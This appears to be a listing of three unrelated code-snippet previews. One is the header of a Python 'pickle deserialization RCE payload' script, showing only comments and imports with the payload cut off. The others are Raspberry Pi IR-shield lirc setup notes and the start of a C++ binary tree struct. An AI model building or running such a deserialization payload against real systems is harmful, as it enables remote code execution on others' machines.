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| #!/usr/bin/python | |
| # | |
| # Pickle deserialization RCE payload. | |
| # To be invoked with command to execute at it's first parameter. | |
| # Otherwise, the default one will be used. | |
| # | |
| import cPickle | |
| import sys | |
| import base64 |
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| Notes to make IR shield (made by LinkSprite) work in Raspberry Pi 3 (bought from Amazon [1]). | |
| The vendor has some documentation [2] but that is not complete and sufficient for Raspbian Stretch. | |
| Following are the changes that I made to make it work. | |
| $ sudo apt-get update | |
| $ sudo apt-get install lirc | |
| # Add the following lines to /etc/modules file | |
| lirc_dev | |
| lirc_rpi gpio_in_pin=18 gpio_out_pin=17 |
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| #include<iostream> | |
| using namespace std; | |
| struct node{ | |
| node():data(0),left(0),right(0){} | |
| int data; | |
| node *left,*right; | |
| //node* trace; | |
| }; | |
| //dummy node | |
| node* root = new node; |